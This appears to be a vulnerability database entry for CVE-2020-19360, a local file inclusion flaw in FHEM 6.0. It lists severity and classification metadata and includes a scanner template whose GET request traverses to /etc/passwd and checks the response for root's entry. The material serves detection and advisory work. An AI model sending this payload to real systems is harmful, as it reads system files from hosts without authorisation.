SecurityContext

CVE-2020-19360: FHEM 6.0 - Local File Inclusion

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.17278
  • Epss percentile: 0.97177
  • Cpe: cpe:2.3:a:fhem:fhem:6.0:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: fhem
  • Vendor: fhem

Products

ProductIndexedUrl
fhem:fhemyes/v1/products/fhem/fhem

Labels

  • Name: FHEM - File Inclusion
  • Impact: Attackers can include arbitrary local files, potentially leading to information disclosure or code execution.
  • Remediation: Update to the latest version of FHEM that addresses this vulnerability or apply security patches.
  • Vulnerability type: file_inclusion
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: logged_in
  • Requirements: Attacker needs local access
  • Labels source: projectdiscovery
  • From cve: CVE-2020-19360

```yaml

id: CVE-2020-19360

info:

name: FHEM 6.0 - Local File Inclusion

author: 0x_Akoko

severity: high

description: FHEM version 6.0 suffers from a local file inclusion vulnerability.

impact: |

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system.

remediation: |

Apply the latest patch or upgrade to a version that is not affected by the vulnerability.

reference:

- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md

- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability

- https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png

- https://nvd.nist.gov/vuln/detail/CVE-2020-19360

- https://github.com/ARPSyndicate/cvemon

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2020-19360

cwe-id: CWE-22

epss-score: 0.17278

epss-percentile: 0.97177

cpe: cpe:2.3:a:fhem:fhem:6.0:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: fhem

product: fhem

tags: cve,cve2020,fhem,lfi,vuln

http:

- method: GET

path:

- "{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text"

matchers-condition: and

matchers:

- type: regex

regex:

- "root:[x*]:0:0"

- type: status

status:

- 200

digest: 4a0a0047304502200e5624670b4428a7b13b926812204920165a83cdf65e0f2992b16b1af4e31caa022100a97032fa76d7c26d39be769d06211c357a7ca455d652a0e9aab828ec8506ed20:922c64590222798bb761d5b6d8e72950

```